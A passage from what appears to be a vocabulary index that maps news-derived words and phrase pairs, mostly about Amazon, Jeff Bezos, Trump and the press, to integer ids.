"muddy mining": 87774, "propaganda enabling": 87775, "pig hedge": 87776, "martha table": 87777, "compidx sp500": 87778, "warehouse workforce": 87779, "national sentinel": 87780, "campus company": 87781, "exceptions": 87782, "shelter bezos": 87783, "supermarkets": 87784, "dima amazon": 87785, "chip hangover": 87786, "oscar night": 87787, "video content": 87788, "paulo reuters": 87789, "airbus 380": 87790, "program represents": 87791, "41am steve": 87792, "little attention": 87793, "emergencies weather": 87794, "moment press": 87795, "growing clout": 87796, "nations allows": 87797, "major government": 87798, "need variety": 87799, "secondo": 87800, "usual stand": 87801, "deterrence traced": 87802, "voting machines": 87803, "closing libraries": 87804, "disappearing benefits": 87805, "jay barth": 87806, "court denied": 87807, "photo shane": 87808, "obama remains": 87809, "fostering policy": 87810, "deal splintering": 87811, "snow record": 87812, "cast members": 87813, "years announced": 87814, "hartland": 87815, "new information": 87816, "650px getty": 87817, "dampen": 87818, "months usps": 87819, "growing scrutiny": 87820, "promised": 87821, "russia meddling": 87822, "giant pay": 87823, "sees systemic": 87824, "documentary series": 87825, "boosters": 87826, "trump newspaper": 87827, "corpse": 87828, "helped 8211": 87829, "economy shifts": 87830, "episode finding": 87831, "amazon wrote": 87832, "joenia": 87833, "moves compared": 87834, "afp alex": 87835, "nazi candidate": 87836, "company carries": 87837, "nearby": 87838, "office bolsonaro": 87839, "cloud company": 87840, "fiction writer": 87841, "effective current": 87842, "horrid conditions": 87843, "moore message": 87844, "particularly drama": 87845, "shutdown coast": 87846, "provide timeline": 87847, "2013": 87848, "miguelottaviano": 87849, "judged": 87850, "hcx3zuhjoa niall": 87851, "incrementally phased": 87852, "sinks hard": 87853, "investment worthy": 87854, "critiqued": 87855, "seize million": 87856, "possible split": 87857, "politically connected": 87858, "ago girl": 87859, "report estimated": 87860, "advertising services": 87861, "bezos response": 87862, "findings public": 87863, "women want": 87864, "apply": 87865, "care beauty": 87866, "hates jeff": 87867, "preet": 87868, "company management": 87869, "environment amazon": 87870, "sad chapter": 87871, "rudderless ship": 87872, "doesnt spell": 87873, "attend school": 87874, "apple keeps": 87875, "whopping": 87876, "remain family": 87877, "bradley cooper": 87878, "subscription service": 87879, "decision dressing": 87880, "won game": 87881, "rob": 87882, "president charles": 87883, "city represents": 87884, "unwelcome": 87885, "acceleration": 87886, "amazon bianco": 87887, "wisconsin father": 87888, "case peter": 87889, "traveling inpoland": 87890, "legislative hill": 87891, "yorkers asked": 87892, "erupted": 87893, "expecting number": 87894, "recent election": 87895, "nuclear negotiations": 87896, "000 subjects": 87897, "rips cnn": 87898, "google disputed": 87899, "spots semiconductor": 87900, "commission agreed": 87901, "trackers": 87902, "play area": 87903, "working overtime": 87904, "lingerie cosmetics": 87905, "including aerial": 87906, "flsa": 87907, "colman eric": 87908, "sectors trading": 87909, "unqualified loss": 87910, "fall michael": 87911, "far tonya": 87912, "personal life": 87913, "arone": 87914, "investors jitters": 87915, "halloween": 87916, "backman amazon": 87917, "publication breaking": 87918, "governmental thing": 87919, "nextplay overrides": 87920, "ban trigger": 87921, "\u0430reaching million": 87922, "republic jonathan": 87923, "creation": 87924, "kari": 87925, "anti capitalist": 87926, "law courses": 87927, "power happened": 87928, "market lebeau": 87929, "review site": 87930, "frame trump": 87931, "unlimited funds": 87932, "bonus": 87933, "good relationship": 87934, "net sales": 87935, "battle think": 87936, "outs especially": 87937, "gigi butler": 87938, "offering": 87939, "dissatisfaction": 87940, "antitrust activists": 87941, "suggest bubble": 87942, "philips": 87943, "terrell place": 87944, "trumpxi meeting": 87945, "website called": 87946, "seattle wa": 87947, "brevis massive": 87948, "ex vice": 87949, "stunning details": 87950, "report newsletter": 87951, "david tied": 87952, "war things": 87953, "amazon considers": 87954, "demands negotiations": 87955, "thu": 87956, "recalcitrant": 87957, "books travel": 87958, "glossary": 87959, "unwinding": 87960, "secondary emotional": 87961, "starting jan": 87962, "driving capabilities": 87963, "dark horse": 87964, "straddle tightrope": 87965, "airplane manufacturer": 87966, "897 million": 87967, "deficit grew": 87968, "know": 87969, "edge amazon": 87970, "beauty ami": 87971, "explains amazon": 87972, "news nbcnews": 87973, "shakeouts": 87974, "jpg gridhash": 87975, "cetera jobs": 87976, "getty xml": 87977, "continues kyle": 87978, "affect jeff": 87979, "making close": 87980, "revised lower": 87981, "extremely popular": 87982, "venture howorth": 87983, "need genuinely": 87984, "separation defending": 87985, "forward indicators": 87986, "winning future": 87987, "n3x apply": 87988, "wholly": 87989, "helped crooked": 87990, "blistering speech": 87991, "alleged ninety": 87992, "offer short": 87993, "reactive": 87994, "using play": 87995, "rambling digressing": 87996, "including cyber": 87997, "better world": 87998, "persuade federal": 87999, "sprawling surveillance": 88000, "consumer view": 88001, "featured alec": 88002, "popular word": 88003, "coup major": 88004, "grub street": 88005, "solely responsible": 88006, "meets magical": 88007, "spare parts": 88008, "foto sourceamazon": 88009, "making bank": 88010, "wire posts": 88011, "jahnke": 88012, "judicial nominee": 88013, "nubai": 88014, "just fraction": 88015, "network did": 88016, "trumpelthinskin": 88017, "separate note": 88018, "conspiracy pizzagate": 88019, "130bn": 88020, "plummeting mail": 88021, "violated related": 88022, "basil cathedral": 88023, "barges": 88024, "bg": 88025, "kangaroo logo": 88026, "649 6814": 88027, "ring doorbell": 88028, "social network": 88029, "enquirer accessed": 88030, "jolley parents": 88031, "canada win": 88032, "lady dis": 88033, "john antczak": 88034, "cautious approach": 88035, "process wendy": 88036, "month olsavsky": 88037, "real equalizer": 88038, "calendars economic": 88039, "profit quick": 88040, "catchers": 88041, "includes taking": 88042, "mcmillandoolittle digital": 88043, "unconditionally bezos": 88044, "relaunch": 88045, "lame": 88046, "obsessive following": 88047, "search grim": 88048, "chatham run": 88049, "think making": 88050, "skincare depository": 88051, "stavridis operating": 88052, "important elements": 88053, "2017 ryan": 88054, "including apple": 88055, "reuters acting": 88056, "measurably": 88057, "evading taxes": 88058, "significant financial": 88059, "america new": 88060, "listing worth": 88061, "need monitoring": 88062, "amazon 543": 88063, "fox thinks": 88064, "amid real": 88065, "critical data": 88066, "mistake": 88067, "main online": 88068, "atmosphere scientists": 88069, "bakery theater": 88070, "770 shares": 88071, "times stated": 88072, "fueling condo": 88073, "4355": 88074, "negatives": 88075, "trump yes": 88076, "thinks online": 88077, "medication assisted": 88078, "amazon buzzfeed": 88079, "thoughts tonight": 88080, "harf": 88081, "dpd parcel": 88082, "providers isps": 88083, "isn cleveland": 88084, "philanthropic donation": 88085, "sensible compromise": 88086, "druckenmiller": 88087, "points nasdaq": 88088, "piece lauding": 88089, "expensive state": 88090, "election problems": 88091, "paper year": 88092, "equity strategist": 88093, "price transparency": 88094, "autos iot": 88095, "photo steve": 88096, "529": 88097, "nests day": 88098, "profit partner": 88099, "ohio sounds": 88100, "oversaturated": 88101, "michael gianaris": 88102, "rod raised": 88103, "consumer portfolios": 88104, "hefty gains": 88105, "divorced trump": 88106, "seeing dozens": 88107, "close tamara": 88108, "good numbers": 88109, "industry giants": 88110, "bezos myth": 88111, "false cardcontents": 88112, "aid money": 88113, "tech jocks": 88114, "flex dave": 88115, "zuckerberg technology": 88116, "stung": 88117, "aviva kana": 88118, "corn prices": 88119, "awaits facebook": 88120, "virginia technology": 88121, "sent list": 88122, "nelson kenmore": 88123, "chicagoist": 88124, "sector employer": 88125, "regular republicans": 88126, "ruined": 88127, "owner meredith": 88128, "hats": 88129, "agricultural sector": 88130, "new fresh": 88131, "asked galloway": 88132, "ro khannarohit": 88133, "shabby design": 88134, "weapons treaty": 88135, "main arguments": 88136, "economy bribing": 88137, "community really": 88138, "hidden tax": 88139, "giving 150": 88140, "500 company": 88141, "gardner thank": 88142, "reached preliminary": 88143, "dialogue": 88144, "concerns critics": 88145, "company technology": 88146, "announced housing": 88147, "lott": 88148, "onetime economic": 88149, "having sex": 88150, "group follows": 88151, "separate amazon": 88152, "seeing pretty": 88153, "book does": 88154, "maintains overweight": 88155, "opposes abortion": 88156, "customers hot": 88157, "similar face": 88158, "giants amazon": 88159, "jpg img_tile_override_imageref": 88160, "offset upbeat": 88161, "using short": 88162, "russian collusion": 88163, "source cbs": 88164, "raedle president": 88165, "sale": 88166, "services sector": 88167, "targeted promoted": 88168, "psychologically": 88169, "kennedy set": 88170, "turned media": 88171, "spacious smooth": 88172, "montpelier seeking": 88173, "leave plenty": 88174, "higher concentration": 88175, "book seller": 88176, "greeting": 88177, "2018 florida": 88178, "debuts": 88179, "spreading false": 88180, "trained teams": 88181, "perla": 88182, "healthcare opportunity": 88183, "identified democratic": 88184, "2018 nexstar": 88185, "return phone": 88186, "kevin kwan": 88187, "cycling water": 88188, "dc event": 88189, "life insur": 88190, "trust invested": 88191, "force confirmed": 88192, "christmas buzz60": 88193, "cortez ability": 88194, "distortions": 88195, "jonathan evans": 88196, "fallen trees": 88197, "crisis bezos": 88198, "prices including": 88199, "younger sulzberger": 88200, "barr department": 88201, "m4": 88202, "view edit": 88203, "thomas black": 88204, "novey viking": 88205, "lines belk": 88206, "earn decent": 88207, "kong skidded": 88208, "habit": 88209, "lawn wish": 88210, "sister romance": 88211, "right brazilian": 88212, "cable customers": 88213, "viking": 88214, "world service": 88215, "law jared": 88216, "margaret sullivan": 88217, "working retail": 88218, "bezos alleges": 88219, "condo": 88220, "potential run": 88221, "power planned": 88222, "huge range": 88223, "sector president": 88224, "discussed karl": 88225, "creators update": 88226, "helping small": 88227, "confiscate amazon": 88228, "widely applauded": 88229, "lemoyne": 88230, "museum read": 88231, "uniforms fuel": 88232, "tusk ceo": 88233, "overall integrity": 88234, "league soccer": 88235, "sportswear": 88236, "wispy conspiracy": 88237, "angerer": 88238, "subsidiary kbr": 88239, "names anonymized": 88240, "road collapse": 88241, "months ago": 88242, "colin lecher": 88243, "html stock": 88244, "spearheaded penny": 88245, "assails theory": 88246, "soapbox youtube": 88247, "trump taunt": 88248, "feb 2017": 88249, "breaks form": 88250, "story sex": 88251, "swirled": 88252, "recent policy": 88253, "q4 earnings": 88254, "ruled niagara": 88255, "offerup": 88256, "collect coins": 88257, "suburb treats": 88258, "subsidies cuomo": 88259, "michigan fight": 88260, "electric nyse": 88261, "demand bolstered": 88262, "felt uncomfortable": 88263, "amazon wraps": 88264, "convenience store": 88265, "schools closings": 88266, "film starts": 88267, "kill stories": 88268, "election recount": 88269, "strong men": 88270, "officials eager": 88271, "prepare food": 88272, "pledge millions": 88273, "addresses fundamental": 88274, "despite revenues": 88275, "factor million": 88276, "surprisingly brilliant": 88277, "including contract": 88278, "whitaker aidy": 88279, "claim criticizing": 88280, "fortune 500": 88281, "inside": 88282, "shifting role": 88283, "various hats": 88284, "technology jacob": 88285, "nasdaq 100": 88286, "discussion agenda": 88287, "alarm buy": 88288, "time delivery": 88289, "access sanchez": 88290, "google provides": 88291, "journalists calling": 88292, "arraigned": 88293, "amazon challenged": 88294, "seriously david": 88295, "know china": 88296, "initially popped": 88297, "past ones": 88298, "press rhetoric": 88299, "average beyonce": 88300, "video bezos": 88301, "temporary incentive": 88302, "exclusive barcode": 88303, "glinted": 88304, "issued memorandum": 88305, "trump colbert": 88306, "emotionally investing": 88307, "storage space": 88308, "interior senior": 88309, "amazon staggering": 88310, "free online": 88311, "greenpeace brazil": 88312, "firecracker microvm": 88313, "james marsden": 88314, "deal thesubsidies": 88315, "federal credit": 88316, "housing offshore": 88317, "history new": 88318, "emoluments clause": 88319, "fox business": 88320, "john kennedy": 88321, "track ai": 88322, "890 billion": 88323, "sold notably": 88324, "amazon action": 88325, "disclosure reports": 88326, "undeniably": 88327, "trump carterpage": 88328, "reduces child": 88329, "fairly standard": 88330, "police station": 88331, "bailing won": 88332, "eerily similar": 88333, "touchdown": 88334, "draghi": 88335, "seriously challenge": 88336, "coverage undaunted": 88337, "signature overcoming": 88338, "real lobbyists": 88339, "banff media": 88340, "poster child": 88341, "pumpkin pie": 88342, "burrito properly": 88343, "relying solely": 88344, "fraud charges": 88345, "nation biggest": 88346, "president men": 88347, "ditches": 88348, "provide better": 88349, "members": 88350, "cypress asset": 88351, "publishing photos": 88352, "charitable commitments": 88353, "billboards promoting": 88354, "mcld otc": 88355, "ernst": 88356, "mcgarvey": 88357, "almed pioneering": 88358, "2nd trump": 88359, "campaign monitors": 88360, "tara copp": 88361, "landers longhairs": 88362, "access australian": 88363, "massachusetts sen": 88364, "thing senddonaldtospace": 88365, "people jogged": 88366, "smooth reveal": 88367, "establishing campuses": 88368, "multiple emmys": 88369, "previous article": 88370, "creative dope": 88371, "covers culture": 88372, "travel water": 88373, "miles 2018": 88374, "docuseries": 88375, "joined knowing": 88376, "poisoning effort": 88377, "began reaping": 88378, "drastically growing": 88379, "group poached": 88380, "potential mishmash": 88381, "easily challenge": 88382, "sidelined products": 88383, "decidedly unfair": 88384, "hit online": 88385, "sunlight": 88386, "2020 politics": 88387, "ilieanna douglas": 88388, "child victim": 88389, "konst say": 88390, "storyurl domain": 88391, "e8 b8": 88392, "worst job": 88393, "second employee": 88394, "substantial unemployment": 88395, "0941et": 88396, "confer": 88397, "build credible": 88398, "racing": 88399, "critter": 88400, "haunted houses": 88401, "nominate second": 88402, "track housing": 88403, "political reporter": 88404, "quite old": 88405, "c9 a4ee": 88406, "alcoa explains": 88407, "golden egg": 88408, "maher live": 88409, "trump attempt": 88410, "new people": 88411, "just hiked": 88412, "dead heat": 88413, "mind": 88414, "portal shop": 88415, "kristen": 88416, "sato ap": 88417, "fuels": 88418, "ramifications": 88419, "photo day": 88420, "wildfire torel": 88421, "angered": 88422, "twitter twtr": 88423, "making strategic": 88424, "driver fell": 88425, "decent living": 88426, "sloppy tabloid": 88427, "599 rtx": 88428, "btenerellabr": 88429, "compensation": 88430, "photos allegedly": 88431, "president bush": 88432, "hatch ut": 88433, "italy right": 88434, "hike etsy": 88435, "body a4ee": 88436, "revisits": 88437, "caption imagealt": 88438, "mahlum brian": 88439, "balogh": 88440, "accidentally typed": 88441, "correspondence shows": 88442, "joining trump": 88443, "spurs investors": 88444, "publicly attacked": 88445, "powerful considering": 88446, "board investors": 88447, "span hasclass": 88448, "marketing campaign": 88449, "stoughton buy": 88450, "google poll": 88451, "239 batting": 88452, "cpl t2": 88453, "nycha moving": 88454, "preserve": 88455, "sent acosta": 88456, "afp jim": 88457, "act requests": 88458, "lavigne": 88459, "penn hro": 88460, "preposterous": 88461, "newspapers coverage": 88462, "smith mingles": 88463, "days jeff": 88464, "reportedly lose": 88465, "null cnl_calcaccesplact_content_content": 88466, "scout": 88467, "mass location": 88468, "new old": 88469, "cdc_5ce292595c0ee1373097e27d_embed": 88470, "parseint progress": 88471, "murder mystery": 88472, "criminal summons": 88473, "previous employer": 88474, "suspended": 88475, "delivery aircraft": 88476, "says big": 88477, "blocked notifications": 88478, "emissaries": 88479, "rat rat": 88480, "service compiled": 88481, "national government": 88482, "trump remembered": 88483, "tactics including": 88484, "leaked messages": 88485, "washington won": 88486, "president support": 88487, "officials scrambled": 88488, "uber management": 88489, "recipe": 88490, "indicated low": 88491, "seo": 88492, "alan": 88493, "leader advised": 88494, "climate report": 88495, "sells things": 88496, "wants artists": 88497, "henniger": 88498, "little changes": 88499, "upwardly": 88500, "fake covers": 88501, "warner acquisition": 88502, "sickness": 88503, "financial liability": 88504, "remedy designate": 88505, "facebook conservative": 88506, "distilling 125": 88507, "charlton having": 88508, "reuters mike": 88509, "intercompany": 88510, "small fortunes": 88511, "impact politico": 88512, "dumbest pissing": 88513, "email inbox": 88514, "p6": 88515, "favorable consumer": 88516, "investigator told": 88517, "amazon measurement": 88518, "giro": 88519, "interview sanders": 88520, "millercoors sues": 88521, "handles close": 88522, "ellison letter": 88523, "raised stakes": 88524, "talks jeopardized": 88525, "buddy dyer": 88526, "new day": 88527, "cost amazon": 88528, "national sensation": 88529, "cnn phil": 88530, "vietnam war": 88531, "video music": 88532, "latest refinancing": 88533, "uncertain political": 88534, "regulating": 88535, "presently": 88536, "intermittently pressured": 88537, "commission filing": 88538, "pentagon deal": 88539, "latest fund": 88540, "logan": 88541, "collins nyse": 88542, "service earnings": 88543, "beat expectations": 88544, "frank conference": 88545, "jpg loadedfully": 88546, "kill policy": 88547, "benzinga published": 88548, "molinari genny": 88549, "wearyingly frequent": 88550, "usps billions": 88551, "certainly raise": 88552, "deal just": 88553, "queen citi": 88554, "spoils": 88555, "travelpod iq": 88556, "discover credit": 88557, "books ship": 88558, "tough question": 88559, "getting information": 88560, "included lowering": 88561, "emanuel macron": 88562, "southern california": 88563, "broader portfolio": 88564, "warehouses personally": 88565, "1300 direct": 88566, "measure trump": 88567, "case include": 88568, "products companies": 88569, "presidential endorsement": 88570, "bezos dates": 88571, "corporate leaders": 88572, "exact point": 88573, "monopoly powers": 88574, "law journal": 88575, "amazingly": 88576, "best bank": 88577, "press know": 88578, "court handed": 88579, "extend": 88580, "set spending": 88581, "investigating catch": 88582, "norton collection": 88583, "afro asian": 88584, "supermicro disputed": 88585, "soe": 88586, "amazon snubbed": 88587, "economy edited": 88588, "tide": 88589, "good haverty": 88590, "gains steam": 88591, "christie": 88592, "turkey warns": 88593, "occ began": 88594, "including rekognition": 88595, "benchmark research": 88596, "claiming kelly": 88597, "wallet": 88598, "report emails": 88599, "cashierless amazon": 88600, "ninth": 88601, "dinner given": 88602, "watch stuart": 88603, "paying attention": 88604, "lawrence donnell": 88605, "love california": 88606, "2012 google": 88607, "forbes trump": 88608, "erinegloff3485": 88609, "promote conservative": 88610, "california berkeley": 88611, "perception reinforced": 88612, "organizations promoting": 88613, "value exchange": 88614, "offered car": 88615, "fancy seattle": 88616, "current gear": 88617, "yuan": 88618, "subscribers buying": 88619, "microinvesting makes": 88620, "amazon 3175": 88621, "farheen mirza": 88622, "details weren": 88623, "strike san": 88624, "925": 88625, "bezos media": 88626, "pursue cost": 88627, "upbeat day": 88628, "460 type": 88629, "term does": 88630, "pulled clothes": 88631, "oliver points": 88632, "abnormally": 88633, "verifying": 88634, "globaldata research": 88635, "jerry brown": 88636, "deal remember": 88637, "merge lately": 88638, "line china": 88639, "babes": 88640, "local public": 88641, "gunpowder": 88642, "local industrial": 88643, "meng member": 88644, "tunneling initiatives": 88645, "lips love": 88646, "businesses complete": 88647, "fewer birthday": 88648, "wet clothes": 88649, "bombshell allegations": 88650, "casone fox": 88651, "trump super": 88652, "i4 v4": 88653, "wants jobs": 88654, "mackenzie handled": 88655, "apprehension": 88656, "federal purse": 88657, "favorability positive": 88658, "scary character": 88659, "press congressman": 88660, "drago": 88661, "sitcom impresario": 88662, "follow kyle": 88663, "defends monopoly": 88664, "steve lookner": 88665, "delivery package": 88666, "shark attack": 88667, "poison": 88668, "statement signed": 88669, "steel bottles": 88670, "diving": 88671, "processing fintech": 88672, "285 billion": 88673, "iconic sears": 88674, "sweat interestingly": 88675, "faram": 88676, "taking away": 88677, "year report": 88678, "incorporate vegans": 88679, "disturbing pattern": 88680, "irresistible hypocrisy": 88681, "targeted usps": 88682, "little risk": 88683, "2750521 divorce": 88684, "seeding changes": 88685, "possible collusion": 88686, "china foxconn": 88687, "conflate": 88688, "harshest critics": 88689, "max garland": 88690, "1920s women": 88691, "trade netflix": 88692, "mayans": 88693, "street overview": 88694, "doctor office": 88695, "incumbent players": 88696, "page": 88697, "kabul": 88698, "highs earnings": 88699, "dreidels win": 88700, "alzheimer": 88701, "meltdown circus": 88702, "better sounds": 88703, "service late": 88704, "highland center": 88705, "interactive map": 88706, "excess stock": 88707, "saying sanders": 88708, "deal sources": 88709, "vhi vn": 88710, "shooting amazon": 88711, "differing": 88712, "outlets began": 88713, "offload": 88714, "ensnaring": 88715, "rewrite nafta": 88716, "reviewed satellite": 88717, "2016 run": 88718, "kentucky international": 88719, "scandals today": 88720, "bezos feet": 88721, "evolving love": 88722, "scanning technology": 88723, "healthcare amazon": 88724, "trump stretching": 88725, "fact ms": 88726, "actually profitable": 88727, "repeatedly denied": 88728, "ecommerce raised": 88729, "offering different": 88730, "temperatures floods": 88731, "rich gulf": 88732, "harvested baby": 88733, "language film": 88734, "government association": 88735, "close apple": 88736, "sector stocks": 88737, "gaza strip": 88738, "digit goal": 88739, "career earning": 88740, "buoyed": 88741, "miffed": 88742, "vandermeer embedded": 88743, "comment add": 88744, "eu helped": 88745, "planning vacation": 88746, "senator speaking": 88747, "trying legalized": 88748, "hotel executives": 88749, "daily newspaper": 88750, "enjoy feeling": 88751, "cost solution": 88752, "181003143415 airbnb": 88753, "platform business": 88754, "bid doesn": 88755, "tricks nintendo": 88756, "broad leeway": 88757, "squabbles": 88758, "000 accounts": 88759, "economic evidence": 88760, "share stories": 88761, "final voters": 88762, "makes electronic": 88763, "petty thing": 88764, "line ford": 88765, "world food": 88766, "just announced": 88767, "employees bezos": 88768, "despite setting": 88769, "tribes mission": 88770, "randomly chosen": 88771, "acting": 88772, "trump golf": 88773, "online seller": 88774, "progressive david": 88775, "blacks": 88776, "exhibiting": 88777, "package income": 88778, "media__over text": 88779, "atlanta jessica": 88780, "abruptly issued": 88781, "voluminous report": 88782, "assertive": 88783, "horror moment": 88784, "agency run": 88785, "highly toxic": 88786, "losartan": 88787, "turned profit": 88788, "favor bezos": 88789, "key time": 88790, "alansmurray": 88791, "systemic problem": 88792, "republicans work": 88793, "nations earlier": 88794, "whopping 177": 88795, "new 000": 88796, "different apple": 88797, "yr": 88798, "identify people": 88799, "story rawstory": 88800, "mcdougal story": 88801, "strong ties": 88802, "contain audio": 88803, "petty revenge": 88804, "brexit plan": 88805, "children restrict": 88806, "brand denied": 88807, "unusual negotiations": 88808, "piece leaves": 88809, "ardently opposed": 88810, "constitutional protections": 88811, "company maga": 88812, "commercial office": 88813, "commerce grows": 88814, "cuts ads": 88815, "high popularity": 88816, "rigeur": 88817, "good working": 88818, "clicksource story": 88819, "technologies pulled": 88820, "rekognition donald": 88821, "consensus condemnation": 88822, "pence says": 88823, "spend million": 88824, "enquirer struck": 88825, "kernersville really": 88826, "provides infrastructure": 88827, "amzn ugg": 88828, "restaurant bar": 88829, "sent 680": 88830, "paul verna": 88831, "provide readers": 88832, "lowering upfront": 88833, "based services": 88834, "edwardsville officials": 88835, "frame healthy": 88836, "pronouncements": 88837, "gill wspd1pio": 88838, "solo real": 88839, "ami told": 88840, "waved": 88841, "growing urgency": 88842, "batten international": 88843, "disgraced monster": 88844, "potential game": 88845, "minimum wage": 88846, "surveillance state": 88847, "premiered": 88848, "best remembered": 88849, "murdered columnist": 88850, "heinz": 88851, "wildlife fund": 88852, "hias": 88853, "toys ellison": 88854, "stoddard": 88855, "million unique": 88856, "william shatner": 88857, "qsrs reporting": 88858, "manhattan donnell": 88859, "facing washington": 88860, "house operations": 88861, "leading pepsico": 88862, "attire judge": 88863, "brendan lyons": 88864, "bushwick": 88865, "matsakis writes": 88866, "daily news": 88867, "intricate story": 88868, "different feel": 88869, "host county": 88870, "intercept ice": 88871, "drilling activities": 88872, "smci": 88873, "matthew emerzian": 88874, "policy": 88875, "week charged": 88876, "s\u00e1nchez jeff": 88877, "hasn dipped": 88878, "2013 bezos": 88879, "commissioned years": 88880, "men underwear": 88881, "cruciferous": 88882, "make larger": 88883, "basic 110": 88884, "movies apostle": 88885, "latest president": 88886, "boost dividends": 88887, "cooperman": 88888, "parking spots": 88889, "analysis software": 88890, "rainfall regimes": 88891, "comprising pecker": 88892, "australia competition": 88893, "trump businesses": 88894, "destroy football": 88895, "year development": 88896, "infantile brain": 88897, "situation trump": 88898, "thers": 88899, "davidson analyst": 88900, "2d 583": 88901, "stretch maybe": 88902, "really know": 88903, "eunice": 88904, "delong accolade": 88905, "actively compete": 88906, "stereos": 88907, "legs": 88908, "owned enterprises": 88909, "driving cars": 88910, "public provocation": 88911, "sachs amazon": 88912, "hellblazer comics": 88913, "mayoral veto": 88914, "convention": 88915, "today business": 88916, "chance": 88917, "attorney claimed": 88918, "holt trump": 88919, "received million": 88920, "months later": 88921, "line": 88922, "star tandy": 88923, "chatting": 88924, "local sheriff": 88925, "capital expenditure": 88926, "johnson google": 88927, "rosettistarr": 88928, "hot recommended": 88929, "queens library": 88930, "westerns": 88931, "favale headlineposttext": 88932, "psc": 88933, "fed jim": 88934, "wants successful": 88935, "team programming": 88936, "hop style": 88937, "seeking new": 88938, "effective laxative": 88939, "amazon megalith": 88940, "marini": 88941, "amid lot": 88942, "arrested obama": 88943, "presidential trolling": 88944, "censoring conservatives": 88945, "thrilling debut": 88946, "prep photo": 88947, "intelligence representing": 88948, "groundswell": 88949, "aws services": 88950, "trailing fourth": 88951, "netapp ntap": 88952, "book left": 88953, "issued response": 88954, "lastly president": 88955, "executive stock": 88956, "located outside": 88957, "insurance plans": 88958, "aviance": 88959, "new mmr": 88960, "mismatched": 88961, "interview fox": 88962, "paid warehouse": 88963, "lieberman": 88964, "kuow": 88965, "lee sentenced": 88966, "stone added": 88967, "golden state": 88968, "kids clothes": 88969, "grand parade": 88970, "engleman overly": 88971, "completely gotten": 88972, "concealed weapon": 88973, "campaign launched": 88974, "board finds": 88975, "total paid": 88976, "promotes global": 88977, "walmart online": 88978, "confidential trump": 88979, "fred ryan": 88980, "amazon 1051": 88981, "unleash war": 88982, "corporate tailer": 88983, "calling": 88984, "north jeff": 88985, "american university": 88986, "sponsor sen": 88987, "legal permanent": 88988, "delicacy": 88989, "legum": 88990, "services field": 88991, "orwell dystopian": 88992, "ironic considering": 88993, "oligarchic": 88994, "lawyer richard": 88995, "cortez received": 88996, "snarky sticker": 88997, "2016 trump": 88998, "reported thestreet": 88999, "chair serrano": 89000, "company remains": 89001, "potential tech": 89002, "editor brian": 89003, "sharing details": 89004, "world fallen": 89005, "merkel angry": 89006, "falsely": 89007, "amazon poses": 89008, "tables gloating": 89009, "g0 t5": 89010, "mueller rosenstein": 89011, "rightly tremble": 89012, "moscow reaction": 89013, "bay maintenance": 89014, "scraps": 89015, "matters worse": 89016, "emoji": 89017, "communication": 89018, "midterms fmr": 89019, "york highly": 89020, "recovery teams": 89021, "cuomo finally": 89022, "sold 000": 89023, "using working": 89024, "allegedly paying": 89025, "dominates": 89026, "funding financial": 89027, "movie distribution": 89028, "progressive policy": 89029, "quill north": 89030, "seasonal hiring": 89031, "atob 43415030": 89032, "identities": 89033, "label republicans": 89034, "political debates": 89035, "s0 math": 89036, "ceneta ap": 89037, "consumer streaming": 89038, "wasn true": 89039, "mikkelsen": 89040, "billion page": 89041, "dashboards": 89042, "tie": 89043, "deforestation photo": 89044, "studies spicer": 89045, "archila nicaraguan": 89046, "swish": 89047, "political divides": 89048, "meaning create": 89049, "russian politics": 89050, "display van": 89051, "cover story": 89052, "343": 89053, "970x450 getty_173218731_200015422000928060_388160": 89054, "protections allowing": 89055, "including elizabeth": 89056, "michael sheen": 89057, "otcmkts": 89058, "unique creature": 89059, "bitter ties": 89060, "langbaum right": 89061, "versus netflix": 89062, "london protest": 89063, "adamant": 89064, "seritage": 89065, "brittain": 89066, "eliminate": 89067, "utilize": 89068, "suggest private": 89069, "i9e": 89070, "homeless residents": 89071, "reportedly telling": 89072, "air station": 89073, "wrotea scathing": 89074, "prices ubs": 89075, "acclaimed expert": 89076, "jeffrey dorfman": 89077, "cop caught": 89078, "heidi heitkamp": 89079, "networking": 89080, "tip line": 89081, "jones offered": 89082, "amazon prices": 89083, "bags including": 89084, "media blitz": 89085, "purchasing rules": 89086, "null thumbimagelargesource": 89087, "moral failure": 89088, "aldi bare": 89089, "earth series": 89090, "ortagus kelsey": 89091, "col": 89092, "grocery experience": 89093, "unassuming": 89094, "floridaflu pastor": 89095, "quincy think": 89096, "slogan": 89097, "american sovereignty": 89098, "read shopify": 89099, "pundit position": 89100, "superhero": 89101, "streaming tv": 89102, "positive purposes": 89103, "obama midterms": 89104, "ritzy community": 89105, "bahrain": 89106, "record holiday": 89107, "nextgov democratic": 89108, "keywords maga": 89109, "distressed": 89110, "dow component": 89111, "chuck pierce": 89112, "minimis rule": 89113, "2017 obviously": 89114, "intentionally suppressed": 89115, "gupta chief": 89116, "hirschfeld davis": 89117, "acquisitive impulses": 89118, "motivated entrepreneur": 89119, "conflicted democrats": 89120, "status 1014188835465580544": 89121, "undoubtedly impact": 89122, "council flickr": 89123, "law similar": 89124, "gulp war": 89125, "twoyears": 89126, "ingesting": 89127, "create 300": 89128, "rival twitter": 89129, "delong lawrence": 89130, "puff pastry": 89131, "america wola": 89132, "jan howard": 89133, "addiction crisis": 89134, "privacy breach": 89135, "announcement coincided": 89136, "kcrw good": 89137, "government led": 89138, "2015 letter": 89139, "conveyed": 89140, "work environment": 89141, "peacefully": 89142, "amazon benefits": 89143, "make research": 89144, "ashland seeing": 89145, "morocco tour": 89146, "begged": 89147, "trading relations": 89148, "south africans": 89149, "writing negative": 89150, "cup celebrations": 89151, "reported previously": 89152, "aug 1997": 89153, "promises kept": 89154, "gordon pape": 89155, "response trump": 89156, "ips": 89157, "fare getting": 89158, "utilizing aws": 89159, "overvalued regardless": 89160, "immigrant crime": 89161, "beer shipments": 89162, "introduces stop": 89163, "utterly absurd": 89164, "addition sears": 89165, "investigating company": 89166, "wow great": 89167, "challenging industry": 89168, "equity inclusion": 89169, "house paralyzed": 89170, "bezos left": 89171, "group sort": 89172, "incentivise": 89173, "maryknoll office": 89174, "significant tax": 89175, "site design": 89176, "post poised": 89177, "corps": 89178, "selby jennings": 89179, "socialmedia marketing": 89180, "split decision": 89181, "significantly laughter": 89182, "amazon fees": 89183, "ladd frames": 89184, "comfortable places": 89185, "errors disproportionately": 89186, "longer welcome": 89187, "grubby": 89188, "poynter reported": 89189, "million foreign": 89190, "facebook dominance": 89191, "soy cotton": 89192, "satchatuk londonislovinit": 89193, "savannah": 89194, "pockets": 89195, "reduces marginalized": 89196, "company fleet": 89197, "twain shall": 89198, "author christine": 89199, "selected region": 89200, "palinchak president": 89201, "usps hike": 89202, "enquirer bought": 